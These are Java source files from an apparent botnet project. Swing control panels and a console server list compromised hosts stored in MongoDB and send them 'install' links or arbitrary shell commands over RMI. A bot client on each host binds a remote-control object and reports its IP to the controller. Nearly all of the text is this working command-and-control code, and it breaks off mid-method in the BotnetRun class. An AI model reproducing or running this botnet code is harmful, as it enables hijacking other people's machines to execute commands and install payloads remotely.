installApplButton.setText("Install App");
installApplButton.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
installApplButtonActionPerformed(evt);
}
});
runShellButton.setIcon(new javax.swing.ImageIcon(getClass().getResource("/asset/terminal.png"))); // NOI18N
runShellButton.setText("Run Shell");
runShellButton.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
runShellButtonActionPerformed(evt);
}
});
backButton.setIcon(new javax.swing.ImageIcon(getClass().getResource("/asset/back.png"))); // NOI18N
backButton.setText("Back");
backButton.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
backButtonActionPerformed(evt);
}
});
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(74, 74, 74)
.addComponent(installApplButton, javax.swing.GroupLayout.PREFERRED_SIZE, 129, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 162, Short.MAX_VALUE)
.addComponent(runShellButton, javax.swing.GroupLayout.PREFERRED_SIZE, 127, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(69, 69, 69))
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(31, 31, 31)
.addComponent(backButton, javax.swing.GroupLayout.PREFERRED_SIZE, 90, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGroup(layout.createSequentialGroup()
.addGap(22, 22, 22)
.addComponent(selectedIPLabel)))
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addComponent(selectedIPLabel)
.addGap(118, 118, 118)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(installApplButton, javax.swing.GroupLayout.PREFERRED_SIZE, 52, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(runShellButton, javax.swing.GroupLayout.PREFERRED_SIZE, 52, javax.swing.GroupLayout.PREFERRED_SIZE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 123, Short.MAX_VALUE)
.addComponent(backButton, javax.swing.GroupLayout.PREFERRED_SIZE, 35, javax.swing.GroupLayout.PREFERRED_SIZE)
.addContainerGap())
);
pack();
}// </editor-fold>//GEN-END:initComponents
private void installApplButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_installApplButtonActionPerformed
// TODO add your handling code here:
String linkApp = JOptionPane.showInputDialog("Insert link/app");
if (linkApp != null){
if(linkApp.isEmpty())
{
JOptionPane.showMessageDialog(rootPane, "Insert link/app", "Errors", JOptionPane.ERROR_MESSAGE);
}
// else if (!isValidURL(linkApp))
// {
// JOptionPane.showMessageDialog(rootPane, "Wrong link", "Errors", JOptionPane.ERROR_MESSAGE);
// }
else
{
System.out.println(linkApp);
Boolean result = true;
for (String ip : this.selectedIP){
try {
BotnetRun botrun = new BotnetRun(ip, "install", linkApp);
Thread thread = new Thread(botrun);
thread.start();
thread.join();
ArrayList <String> value = botrun.get_values();
if (value == null) System.out.println("Fail");
else
value.forEach(i -> System.out.println(i));
} catch (InterruptedException ex) {
result = false;
}
}
if(result)
{
JOptionPane.showMessageDialog(rootPane, "Success");
}
else JOptionPane.showMessageDialog(rootPane, "Failed");
}
}
}//GEN-LAST:event_installApplButtonActionPerformed
private void runShellButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_runShellButtonActionPerformed
// TODO add your handling code here:
String command = JOptionPane.showInputDialog("Your command");
if (command != null){
if(command.isEmpty())
{
JOptionPane.showMessageDialog(rootPane, "Insert command", "Errors", JOptionPane.ERROR_MESSAGE);
} else
{
Boolean result = true;
ArrayList<String> states = new ArrayList<>();
ArrayList < ArrayList<String > > output = new ArrayList<>();
for (String ip : this.selectedIP){
try {
BotnetRun botrun = new BotnetRun(ip, "run", command);
Thread thread = new Thread(botrun);
thread.start();
thread.join();
ArrayList <String> value = botrun.get_values();
output.add(value);
if (value == null){
System.out.println("fail");
states.add("Fail");
}
else{
states.add("Success");
}
} catch (InterruptedException ex) {
result = false;
}
}
new RunningStates(this.selectedIP, states, output).setVisible(true);
// if(result)
// {
// JOptionPane.showMessageDialog(rootPane, "Success");
// }
// else JOptionPane.showMessageDialog(rootPane, "Failed");
}
}
}//GEN-LAST:event_runShellButtonActionPerformed
private void backButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_backButtonActionPerformed
// TODO add your handling code here:
MongoConnect client = new MongoConnect();
client.Connect();
ArrayList<String> list = client.Read("bot_ip");
ArrayList<String> states = new ArrayList<>();
for (String ip : list){
try {
IBotnet botnet = (IBotnet) Naming.lookup("rmi:/" + ip + ":" + "1234" + "/BotnetRMI");
states.add("Available");
} catch (Exception ex){
states.add("Unavailable");
}
}
new ListFrm(list, states).setVisible(true);
this.setVisible(false);
}//GEN-LAST:event_backButtonActionPerformed
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
/* Set the Nimbus look and feel */
//<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) ">
/* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel.
* For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html
*/
try {
for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) {
if ("Nimbus".equals(info.getName())) {
javax.swing.UIManager.setLookAndFeel(info.getClassName());
break;
}
}
} catch (ClassNotFoundException ex) {
java.util.logging.Logger.getLogger(ActionFrm.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (InstantiationException ex) {
java.util.logging.Logger.getLogger(ActionFrm.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (IllegalAccessException ex) {
java.util.logging.Logger.getLogger(ActionFrm.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (javax.swing.UnsupportedLookAndFeelException ex) {
java.util.logging.Logger.getLogger(ActionFrm.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
}
//</editor-fold>
/* Create and display the form */
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
new ActionFrm().setVisible(true);
}
});
}
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JButton backButton;
private javax.swing.JButton installApplButton;
private javax.swing.JButton runShellButton;
private javax.swing.JLabel selectedIPLabel;
// End of variables declaration//GEN-END:variables
}
<file_sep>compile.on.save=true
do.depend=false
do.jar=true
file.reference.bson-3.4.3.jar=/Users/haidv/Downloads/mongo_driver/bson-3.4.3.jar
file.reference.mongodb-driver-3.4.3.jar=/Users/haidv/Downloads/mongo_driver/mongodb-driver-3.4.3.jar
file.reference.mongodb-driver-core-3.4.3.jar=/Users/haidv/Downloads/mongo_driver/mongodb-driver-core-3.4.3.jar
javac.debug=true
javadoc.preview=true
user.properties.file=/Users/haidv/Library/Application Support/NetBeans/12.1/build.properties
<file_sep>/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package view;
import DBUtils.MongoConnect;
import java.awt.Color;
import java.awt.FlowLayout;
import java.awt.Font;
import java.io.IOException;
import java.util.ArrayList;
import java.lang.String;
import java.net.DatagramSocket;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.MalformedURLException;
import java.net.Socket;
import java.net.SocketException;
import java.net.UnknownHostException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RMIClientSocketFactory;
import java.time.LocalDateTime;
import java.time.format.DateTimeFormatter;
import java.util.List;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.swing.ImageIcon;
import javax.swing.JLabel;
import javax.swing.border.Border;
import javax.swing.border.LineBorder;
import model.IBotnet;
import server.TCPServer;
/**
*
* @author dharm
*/
public class ServerUI extends javax.swing.JFrame {
/**
* Creates new form ServerUI
*/
public ServerUI() {
initComponents();
this.setSize(700, 550);
this.getContentPane().setBackground(Color.WHITE);
startBtn.setBackground(Color.WHITE);
startBtn.setBorder(new LineBorder(Color.BLACK, 5));
startBtn.setFont(new Font("Montserrat Medium", 400, 50));
startBtn.addMouseListener(new java.awt.event.MouseAdapter() {
@Override
public void mouseEntered(java.awt.event.MouseEvent evt) {
startBtn.setBackground(Color.RED);
}
@Override
public void mouseExited(java.awt.event.MouseEvent evt) {
startBtn.setBackground(Color.WHITE);
}
@Override
public void mousePressed(java.awt.event.MouseEvent evt) {
startBtn.setText("STARTING...");
}
});
}
/**
* This method is called from within the constructor to initialize the form.
* WARNING: Do NOT modify this code. The content of this method is always
* regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
startBtn = new javax.swing.JToggleButton();
backgroundLabel = new javax.swing.JLabel();
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
startBtn.setFont(new java.awt.Font("Tahoma", 1, 36)); // NOI18N
startBtn.setText("START");
startBtn.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
startBtnActionPerformed(evt);
}
});
backgroundLabel.setIcon(new javax.swing.ImageIcon(getClass().getResource("/view/background.png"))); // NOI18N
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addComponent(backgroundLabel)
.addGap(0, 10, Short.MAX_VALUE))
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
.addGap(166, 166, 166)
.addComponent(startBtn, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addGap(134, 134, 134))
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
.addContainerGap()
.addComponent(backgroundLabel, javax.swing.GroupLayout.PREFERRED_SIZE, 341, Short.MAX_VALUE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(startBtn)
.addGap(23, 23, 23))
);
pack();
}// </editor-fold>//GEN-END:initComponents
private void startBtnActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_startBtnActionPerformed
// TODO add your handling code here:
TCPServer tcpServer = new TCPServer(2345);
tcpServer.start();
MongoConnect client = new MongoConnect();
client.Connect();
ArrayList<String> list = client.Read("bot_ip");
ArrayList<String> states = new ArrayList<>();
for (String ip : list){
ip = ip.replace("/", "");
try {
//Scan port
InetAddress inet = InetAddress.getByName(ip);
DatagramSocket server = new DatagramSocket(1234,inet);
server.close();
//Connect to RMI registry
IBotnet botnet = (IBotnet) Naming.lookup("rmi://" + ip + ":" + "1234" + "/BotnetRMI");
states.add("Available");
} catch (SocketException | UnknownHostException | MalformedURLException | RemoteException | NotBoundException ex) {
states.add("Unavailable");
System.out.println(ex.getMessage());
}
}
new ListFrm(list, states).setVisible(true);
this.setVisible(false);
}//GEN-LAST:event_startBtnActionPerformed
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
/* Set the Nimbus look and feel */
//<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) ">
/* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel.
* For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html
*/
try {
for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) {
if ("Nimbus".equals(info.getName())) {
javax.swing.UIManager.setLookAndFeel(info.getClassName());
break;
}
}
} catch (ClassNotFoundException ex) {
java.util.logging.Logger.getLogger(ServerUI.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (InstantiationException ex) {
java.util.logging.Logger.getLogger(ServerUI.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (IllegalAccessException ex) {
java.util.logging.Logger.getLogger(ServerUI.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (javax.swing.UnsupportedLookAndFeelException ex) {
java.util.logging.Logger.getLogger(ServerUI.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
}
//</editor-fold>
/* Create and display the form */
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
new ServerUI().setVisible(true);
}
});
}
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JLabel backgroundLabel;
private javax.swing.JToggleButton startBtn;
// End of variables declaration//GEN-END:variables
}
<file_sep>/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package server;
import model.IBotnet;
import DBUtils.MongoConnect;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.util.ArrayList;
import java.util.Scanner;
import java.util.logging.Level;
import java.util.logging.Logger;
/**
*
* @author ann52
*/
public class RMIServer {
public static void main(String[] args) {
try {
TCPServer tcpServer = new TCPServer(2345);
tcpServer.start();
System.out.println(">>>>>INFO: Socket Server started!!!!!!!!");
MongoConnect client = new MongoConnect();
client.Connect();
Scanner scanner = new Scanner(System.in);
while (true){
ArrayList<String> list = client.Read("bot_ip");
System.out.println("Available IP:");
for (int i = 0; i<list.size(); i++){
System.out.println((i+1) + ": " + list.get(i));
}
System.out.print("Run or refresh: ");
String run = scanner.nextLine();
if (run.equals("refresh")){
continue ;
}
System.out.print("Select IP to control: ");
String id = scanner.nextLine();
String ip = list.get(Integer.parseInt(id) - 1);
IBotnet botnet = (IBotnet) Naming.lookup("rmi:/" + ip + ":" + "1234" + "/BotnetRMI");
botnet.testing();
System.out.println(">>Install app type: install");
System.out.println(">>Run command type: exec");
String install = scanner.nextLine();
if(install.equals("install")){
System.out.println(">Insert direct link");
String urlLink = scanner.nextLine();
System.out.println(">Install app/tools, pls wait 5-10 minutes!");
ArrayList<String> arrInstall = botnet.installApp(urlLink);
arrInstall.forEach((i) -> {
System.out.println(i);
});
System.out.println("Completed");
}
else if(install.equals("exec")){
while(true){
System.out.print("Enter cmd: ");
String cmd = scanner.nextLine();
if(!cmd.equals("exit")){
ArrayList<String> arr = botnet.runCommand(cmd);
arr.forEach((i) -> {
System.out.println(i);
});
}
else{
break;
}
}
}
}
} catch (NotBoundException | MalformedURLException | RemoteException ex) {
Logger.getLogger(RMIServer.class.getName()).log(Level.SEVERE, null, ex);
}
}
}
<file_sep>/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package view;
import DBUtils.MongoConnect;
import java.awt.Color;
import java.awt.Font;
import java.rmi.Naming;
import java.util.ArrayList;
import javax.swing.JOptionPane;
import javax.swing.border.LineBorder;
import javax.swing.table.DefaultTableModel;
import model.IBotnet;
/**
*
* @author dharm
*/
public class ListFrm extends javax.swing.JFrame {
/**
* Creates new form ListFrm
*/
private ArrayList listIP;
private ArrayList stateListIP;
public ListFrm() {
initComponents();
}
public ListFrm(ArrayList list, ArrayList states) {
this.listIP = list;
this.stateListIP = states;
initComponents();
this.getContentPane().setBackground(Color.WHITE);
listTable.setBackground(Color.WHITE);
jScrollPane1.getViewport().setBackground(Color.WHITE);
DefaultTableModel model = (DefaultTableModel) listTable.getModel();
for (int i = 0; i < list.size(); i++) {
model.addRow(new Object[]{false, list.get(i), states.get(i)});
}
// custom combobox
filterComboBox.setBackground(Color.WHITE);
// custom button
Refresh.setBackground(Color.WHITE);
Refresh.setBorder(new LineBorder(Color.BLACK, 3));
Refresh.setFont(new Font("Montserrat Medium", 400, 20));
Refresh.addMouseListener(new java.awt.event.MouseAdapter() {
@Override
public void mouseEntered(java.awt.event.MouseEvent evt) {
Refresh.setBackground(Color.GREEN);
}
@Override
public void mouseExited(java.awt.event.MouseEvent evt) {
Refresh.setBackground(Color.WHITE);
}
});
//
attackButton.setBackground(Color.WHITE);
attackButton.setBorder(new LineBorder(Color.BLACK, 3));
attackButton.setFont(new Font("Montserrat Medium", 400, 20));
attackButton.addMouseListener(new java.awt.event.MouseAdapter() {
@Override
public void mouseEntered(java.awt.event.MouseEvent evt) {
attackButton.setBackground(Color.RED);
}
@Override
public void mouseExited(java.awt.event.MouseEvent evt) {
attackButton.setBackground(Color.WHITE);
}
});
//
attackAllButton.setBackground(Color.WHITE);
attackAllButton.setBorder(new LineBorder(Color.BLACK, 3));
attackAllButton.setFont(new Font("Montserrat Medium", 400, 20));
attackAllButton.addMouseListener(new java.awt.event.MouseAdapter() {
@Override
public void mouseEntered(java.awt.event.MouseEvent evt) {
attackAllButton.setBackground(Color.RED);
}
@Override
public void mouseExited(java.awt.event.MouseEvent evt) {
attackAllButton.setBackground(Color.WHITE);
}
});
filterComboBox.setSelectedIndex(0);
}
/**
* This method is called from within the constructor to initialize the form.
* WARNING: Do NOT modify this code. The content of this method is always
* regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
jScrollPane1 = new javax.swing.JScrollPane();
listTable = new javax.swing.JTable();
attackButton = new javax.swing.JButton();
Refresh = new javax.swing.JButton();
attackAllButton = new javax.swing.JButton();
filterComboBox = new javax.swing.JComboBox<>();
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
listTable.setModel(new javax.swing.table.DefaultTableModel(
new Object [][] {
},
new String [] {
"Choosen", "IP", "States"
}
) {
Class[] types = new Class [] {
java.lang.Boolean.class, java.lang.String.class, java.lang.String.class
};
boolean[] canEdit = new boolean [] {
true, false, false
};
public Class getColumnClass(int columnIndex) {
return types [columnIndex];
}
public boolean isCellEditable(int rowIndex, int columnIndex) {
return canEdit [columnIndex];
}
});
jScrollPane1.setViewportView(listTable);
if (listTable.getColumnModel().getColumnCount() > 0) {
listTable.getColumnModel().getColumn(0).setResizable(false);
listTable.getColumnModel().getColumn(1).setResizable(false);
listTable.getColumnModel().getColumn(2).setResizable(false);
}
attackButton.setFont(new java.awt.Font("Tahoma", 0, 18)); // NOI18N
attackButton.setIcon(new javax.swing.ImageIcon(getClass().getResource("/asset/tick.png"))); // NOI18N
attackButton.setText("Attack");
attackButton.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
attackButtonActionPerformed(evt);
}
});
Refresh.setIcon(new javax.swing.ImageIcon(getClass().getResource("/asset/refresh-page-option.png"))); // NOI18N
Refresh.setText("Refresh");
Refresh.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
RefreshActionPerformed(evt);
}
});
attackAllButton.setFont(new java.awt.Font("Tahoma", 0, 18)); // NOI18N
attackAllButton.setIcon(new javax.swing.ImageIcon(getClass().getResource("/asset/double-check.png"))); // NOI18N
attackAllButton.setText("Attack All");
attackAllButton.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
attackAllButtonActionPerformed(evt);
}
});
filterComboBox.setModel(new javax.swing.DefaultComboBoxModel<>(new String[] { "All states", "Available", "Unavailable"}));
filterComboBox.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
filterComboBoxActionPerformed(evt);
}
});
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jScrollPane1, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, 580, Short.MAX_VALUE)
.addGroup(layout.createSequentialGroup()
.addGap(29, 29, 29)
.addComponent(Refresh, javax.swing.GroupLayout.PREFERRED_SIZE, 150, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(28, 28, 28)
.addComponent(attackButton, javax.swing.GroupLayout.PREFERRED_SIZE, 150, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(attackAllButton, javax.swing.GroupLayout.PREFERRED_SIZE, 150, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(27, 27, 27))
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addComponent(filterComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addComponent(filterComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(13, 13, 13)
.addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 276, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 51, Short.MAX_VALUE)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(Refresh, javax.swing.GroupLayout.PREFERRED_SIZE, 50, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(attackButton, javax.swing.GroupLayout.PREFERRED_SIZE, 50, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(attackAllButton, javax.swing.GroupLayout.PREFERRED_SIZE, 50, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(30, 30, 30))
);
pack();
}// </editor-fold>//GEN-END:initComponents
private void attackButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_attackButtonActionPerformed
// TODO add your handling code here:
ArrayList<String> selectedIP = new ArrayList<>();
DefaultTableModel model = (DefaultTableModel) listTable.getModel();
boolean flag = false;
for(int i = 0; i < listTable.getRowCount(); i++){
if((Boolean)model.getValueAt(i, 0) == true)
{
if(model.getValueAt(i, 2).equals("Available")){
String ip = (String)model.getValueAt(i, 1) + "";
selectedIP.add(ip);
}
else flag = true;
}
}
if(flag)
{
JOptionPane.showMessageDialog(rootPane, "Unavailable states will be ignore");
}
if(selectedIP.isEmpty())
{
JOptionPane.showMessageDialog(rootPane, "Invalid IP");
return ;
}
new ActionFrm(selectedIP).setVisible(true);
this.setVisible(false);
}//GEN-LAST:event_attackButtonActionPerformed
private void RefreshActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_RefreshActionPerformed
// TODO add your handling code here:
MongoConnect client = new MongoConnect();
client.Connect();
ArrayList<String> list = client.Read("bot_ip");
ArrayList<String> states = new ArrayList<>();
for (String ip : list){
try {
IBotnet botnet = (IBotnet) Naming.lookup("rmi:/" + ip + ":" + "1234" + "/BotnetRMI");
states.add("Available");
} catch (Exception ex){
states.add("Unavailable");
}
}
DefaultTableModel model = (DefaultTableModel) listTable.getModel();
model.setRowCount(0);
this.listIP = list;
this.stateListIP = states;
for (int i = 0; i < list.size(); i++) {
model.addRow(new Object[]{false, list.get(i), states.get(i)});
}
}//GEN-LAST:event_RefreshActionPerformed
private void attackAllButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_attackAllButtonActionPerformed
// TODO add your handling code here:
ArrayList<String> selectedIP = new ArrayList<>();
DefaultTableModel model = (DefaultTableModel) listTable.getModel();
boolean flag = false;
for(int i = 0; i < listTable.getRowCount(); i++){
if(model.getValueAt(i, 2).equals("Available")){
String ip = (String)model.getValueAt(i, 1) + "";
selectedIP.add(ip);
}
else flag = true;
}
if(flag)
{
JOptionPane.showMessageDialog(rootPane, "Unavailable states will be ignore");
}
if(selectedIP.isEmpty())
{
JOptionPane.showMessageDialog(rootPane, "Invalid IP");
return ;
}
new ActionFrm(selectedIP).setVisible(true);
this.setVisible(false);
}//GEN-LAST:event_attackAllButtonActionPerformed
private void filterComboBoxActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_filterComboBoxActionPerformed
// TODO add your handling code here:
DefaultTableModel model = (DefaultTableModel) listTable.getModel();
for (int i = model.getRowCount() - 1; i >= 0; i--) {
model.removeRow(i);
}
if(filterComboBox.getSelectedItem().toString().equals("Unavailable"))
{
for (int i = 0; i < this.listIP.size(); i++) {
if(this.stateListIP.get(i).equals("Unavailable"))
model.addRow(new Object[]{false, this.listIP.get(i), this.stateListIP.get(i)});
}
}
if(filterComboBox.getSelectedItem().toString().equals("Available"))
{
for (int i = 0; i < this.listIP.size(); i++) {
if(this.stateListIP.get(i).equals("Available"))
model.addRow(new Object[]{false, this.listIP.get(i), this.stateListIP.get(i)});
}
}
if(filterComboBox.getSelectedItem().toString().equals("All states"))
{
for (int i = 0; i < this.listIP.size(); i++) {
model.addRow(new Object[]{false, this.listIP.get(i), this.stateListIP.get(i)});
}
}
}//GEN-LAST:event_filterComboBoxActionPerformed
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
/* Set the Nimbus look and feel */
//<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) ">
/* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel.
* For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html
*/
try {
for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) {
if ("Nimbus".equals(info.getName())) {
javax.swing.UIManager.setLookAndFeel(info.getClassName());
break;
}
}
} catch (ClassNotFoundException ex) {
java.util.logging.Logger.getLogger(ListFrm.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (InstantiationException ex) {
java.util.logging.Logger.getLogger(ListFrm.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (IllegalAccessException ex) {
java.util.logging.Logger.getLogger(ListFrm.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (javax.swing.UnsupportedLookAndFeelException ex) {
java.util.logging.Logger.getLogger(ListFrm.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
}
//</editor-fold>
/* Create and display the form */
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
new ListFrm().setVisible(true);
}
});
}
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JButton Refresh;
private javax.swing.JButton attackAllButton;
private javax.swing.JButton attackButton;
private javax.swing.JComboBox<String> filterComboBox;
private javax.swing.JScrollPane jScrollPane1;
private javax.swing.JTable listTable;
// End of variables declaration//GEN-END:variables
}
<file_sep>/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package client;
import model.IBotnet;
import java.io.BufferedWriter;
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.net.Inet4Address;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.NetworkInterface;
import java.net.Socket;
import java.net.SocketException;
import java.rmi.AlreadyBoundException;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.util.Enumeration;
import java.util.logging.Level;
import java.util.logging.Logger;
import model.BotnetImpl;
/**
*
* @author ann52
*/
public class RMIClient {
public static String getIP() throws SocketException{
Enumeration<NetworkInterface> ifaces = NetworkInterface.getNetworkInterfaces();
while( ifaces.hasMoreElements() )
{
NetworkInterface iface = ifaces.nextElement();
// String name = iface.getName();
// if (name.equals("wlp0s20f3")){
Enumeration<InetAddress> addresses = iface.getInetAddresses();
while( addresses.hasMoreElements() )
{
InetAddress addr = addresses.nextElement();
if( addr instanceof Inet4Address && !addr.isLoopbackAddress() )
{
return addr.toString();
}
}
// }
}
return null;
}
public static void main(String[] args){
try {
IBotnet botnet = new BotnetImpl();
LocateRegistry.createRegistry(1234);
String ip = getIP();
Naming.bind("rmi:/" + ip + ":1234/BotnetRMI", botnet);
System.out.println(">>>>>INFO: RMI Server started!!!!!!!!");
SendIP send = new SendIP(ip);
send.start();
} catch (RemoteException ex) {
Logger.getLogger(RMIClient.class.getName()).log(Level.SEVERE, null, ex);
} catch (MalformedURLException | AlreadyBoundException ex) {
Logger.getLogger(RMIClient.class.getName()).log(Level.SEVERE, null, ex);
} catch (IOException ex) {
Logger.getLogger(RMIClient.class.getName()).log(Level.SEVERE, null, ex);
}
}
}
<file_sep>/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package server;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.util.ArrayList;
import java.util.logging.Level;
import java.util.logging.Logger;
import model.IBotnet;
/**
*
* @author ligirk
*/
public class BotnetRun extends Thread{
private String ip;
private String cmd;
private String type;
private ArrayList <String> return_string;
public BotnetRun(String ip,String type, String cmd){
this.ip = ip;
this.type = type;
this.cmd = cmd;
}
public void run(){
try {
IBotnet botnet = (IBotnet) Naming.lookup("rmi:/" + this.ip + ":" + "1234" + "/BotnetRMI");
if (this.type.equals("install")){
